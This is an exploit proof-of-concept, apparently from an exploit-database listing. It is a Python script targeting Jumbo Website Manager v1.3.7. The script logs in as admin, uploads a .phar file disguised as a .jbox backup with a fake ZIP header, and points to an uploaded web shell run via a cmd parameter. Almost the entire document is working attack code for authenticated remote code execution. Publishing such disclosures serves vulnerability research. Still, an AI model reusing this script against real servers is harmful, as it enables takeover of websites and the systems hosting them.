#Exploit Title: Jumbo Website Manager - Remote Code Execution #Application: Jumbo Website Manager #Version: v1.3.7 #Bugs: RCE #Technology: PHP #Vendor URL: https://sourceforge.net/projects/jumbo/ #Software Link: https://sourceforge.net/projects/jumbo/ #Date of found: 28.10.2025 #Author: Mirabbas Ağalarov #Tested on: Linux import requests from typing import Tuple, Optional class JumboCMSExploit: def __init__(self, base_url: str = "http://localhost"): self.base_url = base_url self.session = requests.Session() def login(self, username: str, password: str) -> bool: """ Login to Jumbo CMS Args: username: Username password: Password (already hashed) Returns: True if login successful, False otherwise """ print(f"[*] Attempting login as: {username}") url = f"{self.base_url}/jumbo_files/jumbo/p_login.php" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0", "Content-Type": "application/x-www-form-urlencoded", "Origin": self.base_url, "Referer": f"{self.base_url}/jumbo_files/jumbo/loginpage.php", } data = { "username": username, "password": password } response = self.session.post(url, headers=headers, data=data, allow_redirects=False) if response.status_code in [200, 302]: print(f"[+] Login successful! Status: {response.status_code}") print(f"[+] Cookies: {self.session.cookies.get_dict()}") return True else: print(f"[-] Login failed! Status: {response.status_code}") return False def upload_file(self, filename: str, content: bytes) -> Tuple[bool, str]: """ Upload a file to the backup manager Args: filename: Name of file to upload (e.g., test.phar) content: Binary content of the file Returns: Tuple of (success, response_text) """ print(f"[*] Uploading file: {filename}") url = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/php.php" params = {"qqfile": filename} # Disguise .phar as .jbox display_name = filename.replace('.phar', '.jbox') headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "X-File-Name": display_name, "Content-Type": "application/octet-stream", "Origin": self.base_url, "Referer": f"{self.base_url}/jumbo_files/jumbo/backupmanager/loadbackup.php", } response = self.session.post(url, params=params, headers=headers, data=content) if response.status_code == 200: print(f"[+] Upload successful!") print(f"[+] Response: {response.text}") return True, response.text else: print(f"[-] Upload failed! Status: {response.status_code}") return False, response.text def exploit(self, username: str, password: str, filename: str, php_code: str) -> bool: """ Complete exploit: Login + Upload Args: username: Login username password: Login password (hashed) filename: Filename to upload php_code: PHP code to execute Returns: True if exploit successful """ # Step 1: Login if not self.login(username, password): print("[-] Exploit failed at login stage") return False # Step 2: Create malicious file content # PK header to disguise as archive file_content = b'PK\x03\x04\x0a\x00\x00\x00\x00\x00' + php_code.encode() # Step 3: Upload success, response = self.upload_file(filename, file_content) if success: print("\n[+] Exploit completed successfully!") uploaded_path = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/uploads/backup.phar?cmd=whoami" print(f"[+] File possibly uploaded to: {uploaded_path}") return True else: print("[-] Exploit failed at upload stage") return False if __name__ == "__main__": print("="*70) print("Jumbo CMS Authenticated RCE via File Upload Exploit") print("="*70) print() # Configuration TARGET = "http://localhost" USERNAME = "admin" PASSWORD = "6f7303f028531527b2da3620ccaf25ee384ae7db" FILENAME = "test123.phar" PHP_CODE = '' # Run exploit exploit = JumboCMSExploit(TARGET) exploit.exploit(USERNAME, PASSWORD, FILENAME, PHP_CODE)